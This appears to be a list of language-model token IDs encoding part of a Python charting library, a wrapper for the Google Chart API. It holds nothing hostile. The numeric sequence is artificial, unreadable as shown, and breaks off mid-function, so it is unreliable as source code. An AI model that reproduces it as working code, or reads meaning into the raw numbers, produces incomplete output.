[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 29113, 29113, 14468, 198, 2, 220, 402, 45488, 36918, 2848, 532, 410, 15, 13, 23, 198, 2, 220, 15069, 357, 34, 8, 3717, 220, 10799, 12029, 1279, 3137, 24209, 31, 14816, 13, 785, 29, 198, 2, 198, 2, 220, 770, 1430, 318, 1479, 3788, 26, 345, 460, 17678, 4163, 340, 290, 14, 273, 13096, 198, 2, 220, 340, 739, 262, 2846, 286, 262, 22961, 3611, 5094, 13789, 2196, 513, 355, 3199, 198, 2, 220, 416, 262, 3232, 10442, 5693, 13, 198, 2, 198, 2, 220, 6930, 284, 2687, 508, 857, 1997, 329, 428, 1628, 13, 198, 2, 220, 1002, 345, 423, 772, 262, 18197, 18440, 11, 3387, 3053, 502, 379, 2029, 2209, 13, 198, 29113, 29113, 14468, 198, 37811, 198, 38, 45488, 36918, 2848, 532, 3012, 22086, 7824, 27323, 2848, 198, 198, 464, 29908, 460, 8543, 262, 10289, 286, 262, 3012, 8262, 1912, 319, 534, 10007, 13, 198, 3152, 262, 8262, 345, 460, 8543, 281, 11532, 33705, 7621, 284, 7550, 656, 3992, 31126, 319, 262, 6129, 11, 198, 12860, 340, 3264, 287, 257, 3992, 40259, 11, 393, 3613, 262, 8262, 36182, 284, 11898, 13, 968, 6300, 198, 5171, 7716, 350, 4146, 350, 782, 5159, 10245, 13, 198, 198, 16281, 628, 220, 220, 220, 13163, 402, 796, 402, 45488, 10786, 44601, 3256, 17816, 36439, 271, 27903, 14813, 41887, 41887, 271, 27903, 14813, 23855, 3474, 6, 12962, 198, 220, 220, 220, 13163, 402, 13, 7839, 10786, 464, 14760, 286, 11361, 41707, 405, 535, 405, 3256, 2623, 8, 198, 220, 220, 220, 13163, 402, 13, 8043, 10786, 405, 535, 405, 11537, 198, 220, 220, 220, 13163, 965, 7, 38, 8, 198, 220, 220, 220, 705, 4023, 1378, 40926, 13, 499, 271, 13, 13297, 13, 785, 14, 40926, 30, 198, 220, 220, 220, 220, 220, 220, 220, 442, 67, 28, 68, 25, 36439, 271, 27903, 14813, 41887, 41887, 271, 27903, 14813, 23855, 3474, 198, 220, 220, 220, 220, 220, 220, 220, 1222, 354, 82, 28, 6200, 87, 8628, 198, 220, 220, 220, 220, 220, 220, 220, 1222, 21474, 28, 44601, 198, 220, 220, 220, 220, 220, 220, 220, 1222, 354, 926, 28, 464, 10, 47573, 10, 1659, 10, 37906, 6, 220, 220, 220, 220, 198, 220, 220, 220, 13163, 402, 13, 9060, 3419, 1303, 350, 4146, 4554, 198, 220, 220, 220, 1279, 47, 782, 5159, 37233, 13, 47, 782, 5159, 8979, 4554, 379, 2644, 29, 198, 220, 220, 220, 13163, 352, 2, 38, 13, 12860, 3419, 1303, 25130, 808, 2655, 1280, 198, 220, 220, 220, 6407, 198, 220, 220, 220, 13163, 402, 13, 21928, 10786, 22065, 13, 11134, 11537, 1303, 12793, 284, 11898, 198, 220, 220, 220, 705, 22065, 13, 11134, 6, 198, 198, 6214, 5254, 13, 9078, 329, 4326, 1332, 290, 584, 6096, 198, 37811, 198, 6738, 402, 45488, 36918, 2848, 13, 9979, 1187, 1330, 1635, 198, 6738, 402, 45488, 36918, 2848, 13, 12685, 7656, 1330, 14711, 12342, 198, 6738, 4866, 1330, 4866, 198, 198, 4299, 35847, 62, 8043, 7, 8043, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16409, 262, 17910, 3124, 329, 597, 4938, 269, 824, 3124, 1438, 198, 220, 220, 220, 220, 198, 220, 220, 220, 13163, 35847, 62, 8043, 10786, 282, 501, 17585, 11537, 198, 220, 220, 220, 705, 37, 15, 37, 23, 5777, 6, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 3124, 318, 6045, 25, 1441, 198, 220, 220, 220, 3124, 796, 3124, 13, 21037, 3419, 198, 220, 220, 220, 611, 3124, 287, 20444, 1581, 62, 33767, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 20444, 1581, 62, 33767, 58, 8043, 60, 198, 220, 220, 220, 1441, 3124, 198, 198, 4299, 3124, 62, 22046, 7, 22046, 11, 1635, 9630, 274, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5315, 257, 1351, 286, 7159, 319, 1948, 39199, 198, 220, 220, 220, 220, 198, 220, 220, 220, 13163, 269, 796, 3124, 62, 22046, 26933, 14202, 4032, 17585, 6, 4357, 352, 8, 198, 220, 220, 220, 13163, 269, 13, 19545, 3419, 198, 220, 220, 220, 6045, 198, 220, 220, 220, 13163, 269, 13, 19545, 3419, 198, 220, 220, 220, 705, 2388, 5777, 6, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 329, 1312, 11, 853, 287, 27056, 378, 7, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1312, 287, 39199, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7800, 35847, 62, 8043, 7, 853, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7800, 1822, 628, 198, 4871, 12176, 274, 7, 11600, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 12176, 274, 11688, 22155, 6143, 628, 220, 220, 220, 5765, 428, 1398, 2884, 402, 45488, 7, 986, 737, 897, 274, 198, 220, 220, 220, 25458, 389, 2077, 530, 379, 257, 640, 11, 588, 523, 25, 198, 220, 220, 220, 220, 198, 220, 220, 220, 13163, 402, 796, 402, 45488, 3419, 198, 220, 220, 220, 13163, 402, 13, 897, 274, 13, 4906, 10786, 5431, 11537, 198, 220, 220, 220, 23884, 198, 220, 220, 220, 13163, 402, 13, 897, 274, 13, 18242, 7, 16, 4032, 33986, 16, 11537, 1303, 1395, 38349, 198, 220, 220, 220, 23884, 198, 220, 220, 220, 13163, 402, 13, 897, 274, 13, 18242, 7, 17, 4032, 33986, 17, 11537, 1303, 575, 38349, 198, 220, 220, 220, 23884, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 4378, 7, 944, 11, 6376, 11, 4129, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3060, 4378, 8849, 287, 1502, 286, 34197, 416, 9647, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 742, 66, 220, 220, 220, 220, 1279, 22704, 6376, 22330, 27, 13664, 286, 4378, 1317, 29, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 493, 7, 13664, 8, 19841, 1679, 11, 705, 30916, 2314, 307, 517, 621, 1679, 6, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7890, 17816, 83, 3378, 6, 4083, 33295, 10786, 4, 82, 11, 4, 67, 6, 4, 7, 9630, 11, 13664, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 8000, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 2099, 7, 944, 11, 379, 2981, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2896, 500, 262, 2099, 286, 34197, 345, 4601, 284, 779, 198, 220, 220, 220, 220, 220, 220, 220, 379, 2981, 1276, 307, 530, 286, 2124, 11, 83, 11, 88, 11, 81, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 742, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1149, 287, 379, 2981, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6818, 1149, 287, 705, 742, 2417, 3256, 705, 44651, 34197, 2099, 25, 4064, 82, 6, 4, 10641, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 705, 4032, 287, 379, 2981, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 379, 2981, 796, 705, 4032, 13, 22179, 7, 265, 2981, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 742, 20520, 796, 379, 2981, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 8000, 198, 220, 220, 220, 11593, 13345, 834, 796, 2099, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 6167, 7, 944, 11, 6376, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 36052, 1123, 34197, 530, 379, 257, 640, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 1279, 18242, 352, 22330, 986, 11, 27, 18242, 299, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 87, 75, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7890, 17816, 23912, 1424, 6, 4083, 33295, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 965, 10786, 4, 82, 25, 91, 4, 82, 6, 4, 7, 9630, 11, 705, 91, 4458, 22179, 7, 8899, 7, 2536, 11, 22046, 4008, 1267, 737, 33491, 10786, 14202, 3256, 7061, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 8000, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 2292, 7, 944, 11, 6376, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 262, 6167, 2292, 286, 1123, 16488, 11, 530, 379, 257, 640, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 1279, 18242, 2292, 352, 22330, 986, 11, 27, 18242, 2292, 299, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 42372, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7890, 17816, 1930, 1756, 6, 4083, 33295, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 965, 10786, 4, 82, 11, 4, 82, 6, 4, 7, 9630, 11, 705, 4032, 13, 22179, 7, 8899, 7, 2536, 11, 22046, 22305, 737, 33491, 10786, 14202, 3256, 7061, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 8000, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 2837, 7, 944, 11, 6376, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 262, 2837, 286, 1123, 16488, 11, 530, 379, 257, 640, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 1279, 9688, 286, 2837, 22330, 27, 437, 286, 2837, 22330, 27, 3849, 2100, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 87, 81, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7890, 17816, 81, 6231, 6, 4083, 33295, 10786, 4, 82, 11, 4, 82, 6, 4, 7, 9630, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 4032, 13, 22179, 7, 8899, 7, 27004, 62, 2536, 11, 26498, 35514, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 8000, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 3918, 7, 944, 11, 6376, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3060, 3918, 284, 534, 16488, 11, 530, 379, 257, 640, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 3712, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 22704, 3124, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 10331, 2546, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 282, 16747, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 19334, 278, 1630, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 42298, 1317, 3124, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 34223, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 3124, 62, 22046, 7, 22046, 11, 657, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7890, 17816, 47720, 6, 4083, 33295, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 4032, 13, 22179, 26933, 2536, 7, 9630, 15437, 10, 4868, 7, 8899, 7, 2536, 11, 22046, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 8000, 628, 220, 220, 220, 825, 8543, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 45819, 262, 34197, 1366, 656, 262, 8633, 1366, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 329, 2172, 11, 27160, 287, 2116, 13, 7890, 13, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2172, 6624, 705, 83, 3378, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 742, 66, 20520, 796, 705, 91, 4458, 22179, 7, 27160, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 87, 4, 82, 6, 4, 8738, 58, 15, 11907, 796, 705, 91, 4458, 22179, 7, 27160, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 4871, 402, 45488, 7, 11600, 2599, 198, 220, 220, 220, 37227, 13383, 8262, 1398, 628, 220, 220, 220, 22086, 2099, 1276, 307, 4938, 329, 442, 83, 11507, 198, 220, 220, 220, 16092, 292, 316, 460, 307, 597, 21015, 11629, 540, 290, 307, 5021, 38517, 198, 220, 220, 220, 31767, 22046, 481, 307, 1234, 656, 8262, 7824, 42287, 611, 4938, 37811, 198, 220, 220, 220, 220, 198, 220, 220, 220, 2488, 4871, 24396, 198, 220, 220, 220, 825, 422, 6371, 7, 565, 82, 11, 10662, 82, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 31849, 257, 8262, 10289, 393, 8633, 656, 257, 402, 45488, 4554, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 13163, 402, 796, 402, 45488, 13, 6738, 6371, 10786, 4023, 1378, 40926, 13, 499, 271, 13, 13297, 13, 785, 14, 40926, 30, 986, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 13163, 402, 198, 220, 220, 220, 220, 220, 220, 220, 1279, 38, 45488, 36918, 2848, 13, 38, 45488, 4554, 379, 986, 29, 198, 220, 220, 220, 220, 220, 220, 220, 13163, 402, 13, 9060, 22446, 21928, 10786, 40926, 13, 9479, 41707, 12889, 7156, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 318, 39098, 7, 48382, 11, 8633, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 537, 82, 7, 1174, 48382, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 537, 82, 7, 1174, 11600, 7, 29572, 62, 80, 6649, 7, 48382, 58, 48382, 13, 9630, 10786, 8348, 47762, 16, 47715, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 14468, 2235, 198, 220, 220, 220, 1303, 4889, 2977, 198, 220, 220, 220, 1303, 14468, 2235, 198, 220, 220, 220, 825, 3975, 7, 944, 11, 40087, 11, 1499, 62, 40148, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 7921, 274, 257, 3975, 286, 262, 5447, 27876, 351, 262, 1813, 1499, 14, 5219, 12416, 198, 220, 220, 220, 220, 220, 220, 220, 2269, 4867, 7747, 389, 6580, 30997, 11, 355, 544, 11, 11063, 431, 11, 3504, 62, 23316, 11, 5366, 62, 2382, 3970, 11, 290, 995, 198, 220, 220, 220, 220, 220, 220, 220, 19694, 1499, 12416, 460, 307, 1043, 379, 2638, 1378, 8189, 13, 13297, 13, 785, 14, 499, 271, 14, 40926, 14, 271, 420, 4147, 13, 6494, 198, 220, 220, 220, 220, 220, 220, 220, 1294, 1181, 12416, 460, 307, 1043, 379, 2638, 1378, 8189, 13, 13297, 13, 785, 14, 499, 271, 14, 40926, 14, 5219, 40148, 13, 6494, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 40834, 25, 442, 17209, 1222, 442, 335, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 40087, 287, 402, 4720, 11, 705, 10082, 7113, 291, 1989, 4064, 82, 407, 8018, 6, 4, 469, 78, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 469, 78, 796, 40087, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 335, 796, 1499, 62, 40148, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 1241, 62, 7890, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2329, 973, 287, 1195, 7397, 1098, 329, 262, 2589, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 4049, 62, 10215, 8243, 11, 36153, 62, 7857, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 335, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 26498, 58, 15, 4083, 21037, 3419, 287, 705, 75, 76, 80, 71, 3256, 705, 20035, 13182, 1241, 4064, 82, 6, 4, 5715, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 335, 20520, 796, 705, 4, 82, 91, 4, 82, 6, 4, 22046, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 2318, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1114, 2318, 15907, 11, 11986, 2318, 20735, 290, 31050, 351, 262, 26498, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 1279, 5657, 9647, 22330, 27, 13200, 1022, 9210, 22330, 27, 13200, 1022, 2628, 29, 198, 220, 220, 220, 220, 220, 220, 220, 2318, 9647, 460, 307, 3585, 393, 4112, 11, 766, 262, 1743, 2205, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 34369, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 34369, 20520, 796, 705, 4032, 13, 22179, 7, 8899, 7, 2536, 11, 22046, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 21004, 7, 944, 11, 1822, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 18291, 6945, 262, 21004, 284, 307, 973, 329, 262, 14711, 12342, 198, 220, 220, 220, 220, 220, 220, 220, 12039, 307, 530, 286, 705, 36439, 41707, 5239, 3256, 393, 705, 2302, 1631, 6, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 12685, 7656, 796, 1822, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 5072, 62, 12685, 7656, 7, 944, 11, 21004, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 25235, 21004, 284, 779, 329, 1195, 7397, 1098, 21004, 198, 220, 220, 220, 220, 220, 220, 220, 12039, 307, 530, 286, 705, 33377, 62, 41, 1797, 41707, 48504, 12, 23, 3256, 393, 705, 40734, 12, 3459, 3270, 12, 16, 6, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 1727, 68, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 21004, 287, 19203, 33377, 62, 41, 1797, 41707, 48504, 12, 23, 41707, 40734, 12, 3459, 3270, 12, 16, 33809, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 20035, 21004, 4064, 82, 6, 4, 12685, 7656, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 2577, 20520, 796, 21004, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 5046, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1446, 2040, 262, 1366, 866, 284, 262, 1813, 2546, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 1276, 307, 286, 262, 1296, 3712, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7890, 900, 352, 5288, 1988, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7890, 900, 352, 5415, 1988, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7890, 900, 299, 5288, 1988, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7890, 900, 299, 5415, 1988, 29, 198, 220, 220, 220, 220, 220, 220, 220, 481, 691, 670, 351, 2420, 21004, 0, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 9310, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 9888, 796, 220, 685, 3256, 4458, 22179, 7, 8899, 7, 27004, 62, 2536, 11, 26498, 4008, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 27039, 7, 944, 11, 1366, 11, 2168, 28, 7061, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 10133, 262, 8262, 338, 27039, 11, 460, 307, 734, 38517, 393, 3994, 4731, 1366, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 19608, 292, 316, 796, 1366, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 25076, 796, 2168, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 18364, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2896, 1127, 19736, 530, 379, 257, 640, 329, 534, 4823, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 3712, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 4102, 263, 2099, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 8043, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7890, 900, 6376, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7890, 966, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7857, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 49336, 29, 198, 220, 220, 220, 220, 220, 220, 220, 766, 262, 1743, 6505, 2205, 329, 262, 1844, 1020, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 76, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 22046, 58, 15, 12962, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6818, 26498, 58, 15, 60, 287, 39641, 4877, 11, 705, 44651, 18364, 2099, 25, 4064, 82, 6, 4, 22046, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 18896, 7, 22046, 8, 19841, 718, 11, 705, 818, 30283, 7159, 4064, 82, 6, 4, 2536, 7, 22046, 8, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 796, 3124, 62, 22046, 7, 22046, 11, 352, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 4102, 364, 13, 33295, 7, 3256, 4458, 22179, 7, 8899, 7, 2536, 11, 22046, 4008, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 10330, 7, 944, 11, 1364, 11, 826, 11, 1353, 11, 4220, 11, 300, 10394, 28, 15, 11, 300, 17015, 28, 15, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 20241, 329, 8262, 1989, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 3712, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 9464, 10330, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 3506, 10330, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 4852, 10330, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 22487, 10330, 29, 91, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 1455, 437, 9647, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 1455, 437, 6001, 29, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 2611, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 2611, 20520, 796, 705, 4, 67, 11, 4, 67, 11, 4, 67, 11, 4, 67, 6, 220, 4064, 357, 9464, 11, 826, 11, 1353, 11, 4220, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 300, 10394, 393, 300, 17015, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 17816, 354, 2611, 20520, 15853, 705, 91, 4, 67, 11, 4, 67, 6, 4064, 357, 75, 10394, 11, 300, 17015, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 1627, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 34099, 530, 379, 257, 640, 329, 1123, 27039, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 3712, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 7890, 900, 299, 1627, 20735, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 13664, 286, 1627, 10618, 22330, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1279, 13664, 286, 9178, 10618, 29, 198, 220, 220, 220, 220, 220, 220, 220, 3486, 4061, 1503, 2390, 25, 442, 7278, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6615, 13, 33295, 7, 3256, 4458, 22179, 7, 17816, 7225, 16, 69, 6, 4, 87, 329, 2124, 287, 3975, 7, 22468, 11, 22046, 15437, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 825, 6070, 7, 944, 11, 1635, 22046, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 27967, 257, 4735, 6070, 284, 534, 8262, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 389, 286, 262, 1296, 1279, 20797, 2099, 22330, 27, 20797, 3918, 22330, 986, 198, 220, 220, 220, 220, 220, 220, 